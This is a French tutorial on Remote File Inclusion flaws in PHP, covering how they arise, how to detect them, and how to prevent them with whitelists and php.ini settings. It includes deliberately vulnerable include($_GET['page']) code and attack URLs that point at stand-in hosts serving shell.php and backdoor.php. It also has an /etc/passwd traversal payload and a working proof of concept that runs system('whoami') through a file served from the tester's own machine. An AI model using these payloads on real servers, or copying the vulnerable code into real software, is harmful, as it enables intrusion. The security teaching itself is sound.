Faille RFI : comprendre l’inclusion de fichiers distants

Une faille RFI peut permettre à un attaquant de faire exécuter un fichier malveillant directement sur un serveur web. Bien qu’elle soit moins fréquente aujourd’hui qu’il y a quelques années, cette vulnérabilité reste un excellent moyen de comprendre comment une simple erreur de développement peut mettre en danger tout un site.

Dans ce tutoriel, vous allez découvrir ce qu’est une faille RFI, comment elle fonctionne, quels risques elle représente et surtout comment la prévenir efficacement en PHP. Grâce à des exemples concrets et des explications accessibles, vous apprendrez à identifier ce type de vulnérabilité et à adopter les bonnes pratiques pour sécuriser vos applications web.

• Comprendre pourquoi une simple variable mal contrôlée peut ouvrir la porte à l’exécution de code malveillant sur un serveur.
• Apprendre à repérer rapidement une faille RFI.
• Adopter les bons réflexes de sécurité pour rendre vos applications PHP plus robustes face aux attaques les plus courantes.

Lorsqu’on débute dans le développement web, la sécurité est souvent reléguée au second plan. Pourtant, certaines erreurs apparemment anodines peuvent ouvrir la porte à des attaques très dangereuses. Parmi elles, la faille RFI figure parmi les vulnérabilités les plus connues dans les applications web développées en PHP.

Derrière cet acronyme un peu mystérieux se cache une technique qui permet à un attaquant de faire exécuter du code malveillant sur un serveur simplement en manipulant une URL. Autant dire qu’il s’agit d’un problème à prendre très au sérieux.

Qu’est-ce qu’une faille RFI ?

RFI signifie Remote File Inclusion, que l’on peut traduire par Inclusion de Fichier Distant.

Cette vulnérabilité apparaît lorsqu’une application web permet à un utilisateur de spécifier un fichier à charger sans effectuer suffisamment de contrôles de sécurité.

Pour comprendre le problème, imaginons un site web qui affiche différentes pages à l’aide d’un paramètre dans l’URL.

Par exemple :

<?php
include($_GET['page']);

L’objectif est simple : charger une page en fonction de la valeur transmise dans l’URL.

Ainsi :

https://monsite.fr/index.php?page=accueil.php

chargera le fichier :

accueil.php

Sur le papier, cela semble pratique.

Le problème apparaît lorsque l’utilisateur peut modifier librement cette valeur.

Un attaquant pourrait alors essayer :

https://monsite.fr/index.php?page=https://site-pirate.com/shell.php

Si le serveur autorise cette opération, il téléchargera puis exécutera le fichier distant.

• À cet instant, le pirate peut potentiellement prendre le contrôle du site.

C’est exactement ce qu’on appelle une faille RFI.

Pourquoi cette faille est-elle dangereuse ?

La gravité d’une faille RFI est souvent sous-estimée par les débutants.

Après tout, il ne s’agit « que » d’un fichier chargé depuis Internet. Malheureusement, ce fichier peut contenir absolument n’importe quel code PHP.

Un attaquant peut alors :

• exécuter des commandes sur le serveur
• créer des comptes administrateurs
• voler les données des utilisateurs
• modifier les fichiers du site
• installer une porte dérobée
• utiliser le serveur pour attaquer d’autres systèmes.

Dans certains cas, une simple vulnérabilité RFI peut conduire à la compromission complète d’un serveur.

C’est un peu comme si vous laissiez un inconnu entrer dans votre maison avec le droit de réorganiser toutes les pièces à sa guise.

Comprendre le fonctionnement étape par étape

Prenons un exemple simple : Supposons que vous développiez un mini site composé de plusieurs pages.

Vous créez un fichier principal :

<?php
include($_GET['page']);

Puis plusieurs pages :

accueil.php
contact.php
services.php

L’utilisateur navigue grâce à des URLs comme :

index.php?page=accueil.php

Jusqu’ici tout fonctionne.

Maintenant imaginons un attaquant.

• Il remarque que le paramètre « page » est directement injecté dans la fonction include().

Il décide alors de tester :

index.php?page=https://site-malveillant.com/piratage.php

Si la configuration PHP autorise les inclusions distantes, le serveur télécharge le fichier.

Ensuite, il l’exécute comme s’il faisait partie du site.

• Le pirate vient alors d’injecter son propre code.

Le serveur lui obéit sans se rendre compte qu’il exécute un programme externe.

La différence entre RFI et LFI

Les débutants confondent souvent les failles RFI et LFI.

Pourtant, il existe une différence importante.

La faille LFI

LFI signifie Local File Inclusion.

Dans ce cas, l’attaquant tente de charger un fichier présent sur le serveur.

Par exemple :

index.php?page=../../config.php

ou encore :

index.php?page=../../../../etc/passwd

L’objectif est généralement de lire des informations sensibles.

👉 Tout savoir sur la faille LFI.

La faille RFI

Avec une faille RFI, le pirate charge un fichier hébergé sur un serveur distant.

Par exemple :

index.php?page=https://site-pirate.com/backdoor.php

L’objectif est souvent d’obtenir l’exécution de code.

En résumé :

Type	Origine du fichier
LFI	Fichier local
RFI	Fichier distant

Les deux vulnérabilités sont proches mais leurs conséquences peuvent être différentes.

Les grandes familles de failles web

Injection SQL, XSS, CSRF, failles d’authentification, erreurs de configuration… Comprendre les principales vulnérabilités web avec des explications simples, des exemples concrets et une approche accessible aux débutants.

Explorer le guide complet →

Un point de départ clair pour apprendre à repérer, comprendre et éviter les failles les plus fréquentes sur un site web.

Comment découvrir une faille RFI ?

Sur les versions modernes de PHP, cette faille est devenue plus rare par défaut, car les concepteurs du langage ont mis en place des verrous de sécurité dans le fichier de configuration principal du serveur, appelé le php.ini.

Pour qu’une RFI fonctionne, deux options spécifiques doivent être activées simultanément dans cette configuration :

// Extrait du fichier php.ini permettant la vulnérabilité
allow_url_fopen = On
allow_url_include = On

• allow_url_fopen : Autorise les fonctions de PHP à ouvrir des fichiers distants comme s’il s’agissait de fichiers locaux.
• allow_url_include : Permet aux fonctions d’inclusion (include, require) de charger et d’exécuter du code provenant d’une URL distante.

Si l’une de ces options est positionnée sur Off, le serveur bloquera la tentative d’inclusion externe en renvoyant une erreur de sécurité. Notre rôle de pentester consiste à tester si ces verrous sont actifs ou non.

La découverte d’une vulnérabilité commence toujours par une phase d’observation attentive de l’application web cible. Vous devez repérer les zones de dialogue entre l’utilisateur et le serveur.

Repérer les paramètres suspects dans l’URL

Les cibles privilégiées pour une inclusion de fichiers se cachent souvent dans les barres d’adresse de votre navigateur. Recherchez activement les variables qui évoquent un chargement de fichier, un changement de langue, ou l’appel d’un script spécifique.

Voici quelques exemples d’adresses suspectes qui méritent une analyse approfondie :

http://cible.local/index.php?page=home.phphttp://cible.local/main.php?file=navigationhttp://cible.local/content.php?path=enhttp://cible.local/loader.php?view=footer.html

Chaque fois qu’un paramètre semble accepter un nom de fichier ou un chemin d’accès comme valeur, considérez-le comme une porte d’entrée potentielle pour vos tests d’inclusion.

Le test de la sonde externe

Pour savoir si le paramètre accepte des éléments distants, la méthode manuelle la plus simple consiste à remplacer la valeur d’origine par l’adresse d’un serveur externe que vous contrôlez, ou par un site web public inoffensif.

Par exemple, vous pouvez modifier l’adresse ainsi :

http://cible.local/index.php?page=http://example.com

Si l’application web modifie son affichage et intègre le contenu de la page d’accueil de example.com directement à l’intérieur de sa propre interface, vous venez de mettre le doigt sur une inclusion distante fonctionnelle.

Quels outils permettent de détecter une faille RFI ?

Bien que l’analyse manuelle soit indispensable pour confirmer et comprendre une faille, l’utilisation d’outils automatisés permet de balayer de larges surfaces d’applications en un minimum de temps lors de vos missions d’audit.

1. Nuclei : Le scanner basé sur des modèles

Nuclei est un outil moderne extrêmement populaire dans le monde du pentesting. Il fonctionne grâce à un système de modèles textuels (appelés templates) écrits en langage YAML. Chaque modèle décrit précisément une vulnérabilité connue et la façon de la tester.

Il existe des modèles spécifiques pour détecter les inclusions de fichiers. Nuclei va envoyer des requêtes ciblées contenant des payloads d’inclusion vers les paramètres de l’application web et analyser la réponse du serveur pour détecter des signatures spécifiques d’exécution de code ou de connexion sortante.

L’analyse de la structure d’un modèle Nuclei générique dédié à la détection de ce type d’anomalie se présente généralement sous cette forme :

# Exemple conceptuel d'un modèle de détection d'inclusion
id: remote-file-inclusion-test
info:
  name: Détection d'Inclusion de Fichier Distant
  severity: critical

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?page=http://evt-target.local/test.txt"
    matchers:
      - type: word
        words:
          - "rfi-detection-successful"

👉 Consultez notre tutoriel complet Nuclei pour débutez.

2. Les scanners de vulnérabilités web globaux

D’autres outils plus globaux intègrent des modules automatisés performants pour tester les paramètres d’URL :

• OWASP ZAP (ZED Attack Proxy) : Un outil open-source idéal pour les débutants. Son scanner actif va injecter automatiquement des adresses distantes dans tous les formulaires et paramètres découverts pour analyser la réaction du site.
• Burp Suite Professional : La référence de l’industrie. Son scanner inspecte minutieusement les flux HTTP et utilise des serveurs de rebond pour détecter si la cible tente d’effectuer une connexion DNS ou HTTP vers l’extérieur suite à une injection.

Comment exploiter une faille RFI ?

Passons maintenant à la phase technique de validation. Imaginons le scénario suivant : vos tests préliminaires ou vos outils ont mis en évidence un paramètre hautement suspect sur l’adresse suivante : 

http://site-vulnerable.local/preview.php?include=welcome.php

Notre objectif est de prouver de manière indéniable l’existence de la faille en exécutant une commande système bénigne sur le serveur, comme la lecture du nom de la machine ou de l’utilisateur actif.

Étape 1 : Préparation du script de test

Sur votre machine de test (celle de l’auditeur), vous allez créer un fichier texte contenant du code exécutable. Nous allons utiliser le langage PHP, qui est le langage utilisé par notre cible.

Créez un fichier nommé test.txt et insérez-y le code suivant :

<?php
// Script de démonstration éthique pour validation RFI
echo "--- DEBUT DE L EXECUTION DISTANTE ---<br>";

// La fonction system() permet d'exécuter une commande sur le système d'exploitation
// La commande 'whoami' affiche le nom de l'utilisateur qui exécute le serveur web
system('whoami');

echo "<br>--- FIN DE L EXECUTION DISTANTE ---";
?>

Remarque importante pour les débutants : Nous enregistrons le fichier avec l’extension .txt et non .php sur notre machine. Pourquoi ? Si nous l’enregistrions en .php sur notre propre serveur web, notre propre serveur exécuterait le code avant de l’envoyer. En l’enregistrant en .txt, notre serveur fournit le code source brut à la cible, qui se chargera de l’interpréter.

Étape 2 : Démarrage du serveur web local

Pour que la cible puisse télécharger notre fichier test.txt, nous devons le rendre accessible sur le réseau à travers le protocole HTTP. La méthode la plus rapide consiste à utiliser le serveur web temporaire intégré à Python.

Ouvrez un terminal dans le dossier où se trouve votre fichier test.txt et lancez la commande suivante :

# Démarre un serveur web temporaire sur le port 8000
python3 -m http.server 8000

Votre machine est désormais prête à distribuer le fichier à l’adresse suivante : http://<VOTRE_IP>:8000/test.txt.

Étape 3 : Injection du lien distant dans la cible

Retournez sur votre navigateur internet et modifiez le paramètre de l’application web cible pour y injecter l’adresse complète de votre fichier texte hébergé localement :

Des formations informatique pour tous !

Débutant ou curieux ? Apprenez le développement web, le référencement, le webmarketing, la bureautique, à maîtriser vos appareils Apple et bien plus encore…

Formateur indépendant, professionnel du web depuis 2006, je vous accompagne pas à pas et en cours particulier, que vous soyez débutant ou que vous souhaitiez progresser. En visio, à votre rythme, et toujours avec pédagogie.

Découvrez mes formations Qui suis-je ?

http://site-vulnerable.local/preview.php?include=http://<VOTRE_IP>:8000/test.txt

Étape 4 : Analyse et constatation du résultat

Appuyez sur la touche Entrée pour envoyer la requête. Le serveur vulnérable reçoit votre URL, télécharge le fichier test.txt, constate qu’il s’agit de code PHP et commence à l’exécuter.

Si l’exploitation réussit, la page web affichera le résultat directement dans votre navigateur :

--- DEBUT DE L EXECUTION DISTANTE ---
www-data
--- FIN DE L EXECUTION DISTANTE ---

Le mot www-data confirme que la commande whoami s’est exécutée avec succès sur le serveur distant. Vous venez d’apporter la preuve technique irréfutable que l’application souffre d’une vulnérabilité d’inclusion à distance menant à une exécution de code.

Les fonctions PHP souvent concernées

Certaines fonctions PHP sont particulièrement visées.

La plus connue est :

include();

Exemple :

include($_GET['page']);

On retrouve également :

require();

require_once();

include_once();

Toutes ces fonctions peuvent devenir dangereuses lorsqu’elles utilisent directement des données fournies par l’utilisateur.

👉 Pour ceux qui débutent avec PHP : Include, require ou require_once

Exemple concret de code vulnérable

Voici un exemple volontairement dangereux.

<?php

$page = $_GET['page'];

include($page);

Pourquoi ce code pose-t-il problème ?

Parce que la variable $page provient directement de l’utilisateur.

• Aucun contrôle n’est effectué.
• Aucune validation n’est réalisée.

• Le serveur fait aveuglément confiance à ce qui est reçu.

En sécurité informatique, faire confiance aux données utilisateur est généralement une très mauvaise idée.

Première méthode de protection : la liste blanche

La solution la plus simple consiste à autoriser uniquement certaines valeurs.

Par exemple :

<?php

$pages_autorisees = [
    'accueil',
    'contact',
    'services'
];

$page = $_GET['page'] ?? 'accueil';

if(in_array($page, $pages_autorisees))
{
    include($page . '.php');
}
else
{
    echo "Page introuvable";
}

Ici, seules trois pages peuvent être chargées.

Même si un pirate tente :

?page=https://site-pirate.com/shell.php

• la valeur sera rejetée.

Cette approche est fortement recommandée.

Deuxième méthode : désactiver les inclusions distantes

PHP possède un paramètre de configuration nommé :

allow_url_include

Lorsque cette option est activée, PHP peut inclure des fichiers distants.

Pour renforcer la sécurité, il est conseillé de vérifier qu’elle est désactivée :

allow_url_include = Off

Vous pouvez consulter cette valeur grâce à :

<?php
phpinfo();
?>

Ou directement dans le fichier :

php.ini

Sur les hébergements modernes, cette option est généralement désactivée par défaut.

Heureusement.

Troisième méthode : ne jamais faire confiance aux entrées utilisateur

C’est probablement la règle la plus importante en cybersécurité.

Chaque donnée provenant :

• d’un formulaire
• d’une URL
• d’un cookie
• d’une API
• d’un fichier uploadé

doit être considérée comme potentiellement malveillante.

Prenons un exemple. Vous voyez ceci :

$page = $_GET['page'];

Votre premier réflexe devrait être :

« Comment puis-je vérifier cette valeur ? »

Cette simple habitude évite déjà une grande partie des vulnérabilités.

Comment les pirates recherchent-ils une faille RFI ?

Les attaquants utilisent généralement plusieurs méthodes.

La première consiste à analyser les URLs. Ils recherchent des paramètres comme :

?page=

?file=

?include=

?template=

?module=

Ensuite, ils tentent différentes valeurs.

Par exemple :

https://site.fr/index.php?page=test

Puis :

https://site.fr/index.php?page=https://exemple.com/fichier.php

Ils observent alors la réponse du serveur.

• Si le fichier est exécuté, la vulnérabilité est confirmée.

Comment tester son propre site ?

Attention : Les tests doivent être réalisés uniquement sur vos propres applications ou dans un environnement d’apprentissage.

Tester un site sans autorisation peut être illégal.

Pour vérifier votre code :

Étape 1 : rechercher les fonctions sensibles

Examinez votre projet.

Cherchez :

include(

require(

include_once(

require_once(

Étape 2 : vérifier l’origine des données

Posez-vous la question :

« La valeur utilisée provient-elle d’un utilisateur ? »

Si la réponse est oui, il faut être vigilant.

Étape 3 : mettre en place une liste blanche

Remplacez les inclusions dynamiques par des valeurs autorisées.

Étape 4 : tester différents scénarios

Essayez :

?page=accueil

Puis :

?page=contact

Ensuite :

?page=https://site-externe.com/test.php

La dernière tentative doit être bloquée.

Exemple sécurisé pour un mini site

Voici une approche simple et efficace.

<?php

$routes = [

    'accueil' => 'pages/accueil.php',
    'contact' => 'pages/contact.php',
    'services' => 'pages/services.php'

];

$page = $_GET['page'] ?? 'accueil';

if(array_key_exists($page, $routes))
{
    include($routes[$page]);
}
else
{
    include('pages/404.php');
}

Pourquoi ce code est-il plus sûr ?

• Parce que l’utilisateur ne contrôle plus directement le chemin du fichier.

Il ne choisit qu’une clé parmi celles définies par le développeur. C’est une différence fondamentale.

Les CMS sont-ils concernés ?

Oui. Historiquement, plusieurs CMS ont souffert de vulnérabilités de type RFI.

Parmi les causes fréquentes :

• extensions mal développées
• thèmes vulnérables
• anciens plugins non maintenus
• code personnalisé peu sécurisé.

Les CMS modernes comme WordPress intègrent de nombreuses protections. Cependant, une extension mal codée peut toujours introduire une faille.

C’est pourquoi il est important :

• de maintenir ses extensions à jour
• de supprimer celles qui ne sont plus utilisées
• de télécharger uniquement des extensions fiables
• de réaliser des audits réguliers.

Les bonnes pratiques à retenir

Lorsqu’on développe un site web, la sécurité doit être intégrée dès le départ.

Si vous retenez seulement quelques idées de ce tutoriel, gardez celles-ci en tête :

1. Ne chargez jamais un fichier directement à partir d’une donnée utilisateur.
2. Utilisez systématiquement des listes blanches.
3. Maintenez PHP et vos applications à jour.
4. Désactivez les fonctionnalités inutiles.
5. Analysez régulièrement votre code.

Enfin, rappelez-vous qu’une faille RFI n’est généralement pas causée par PHP lui-même. Elle résulte presque toujours d’une erreur de développement.

La bonne nouvelle, c’est qu’une fois que vous comprenez ce principe, il devient relativement simple d’éviter ce type de vulnérabilité.

---

---

La faille RFI fait partie des vulnérabilités historiques du développement web. Même si les versions modernes de PHP limitent aujourd’hui fortement les risques, cette attaque reste un excellent exemple pour comprendre un principe fondamental de la cybersécurité : ne jamais faire confiance aux données fournies par un utilisateur.

Au fil de votre apprentissage, vous découvrirez d’autres familles de vulnérabilités comme les injections SQL, les attaques XSS ou encore les failles CSRF. Toutes reposent finalement sur la même idée : un programme accepte une donnée sans la contrôler correctement.

Prenez donc l’habitude d’analyser chaque variable qui entre dans votre application. Demandez-vous systématiquement d’où elle vient, ce qu’elle contient et ce qu’un attaquant pourrait essayer d’en faire. Cette réflexion vous transformera progressivement en développeur plus rigoureux et en administrateur plus serein.

La sécurité web n’est pas une destination que l’on atteint une fois pour toutes. C’est un réflexe qui se construit jour après jour, ligne de code après ligne de code.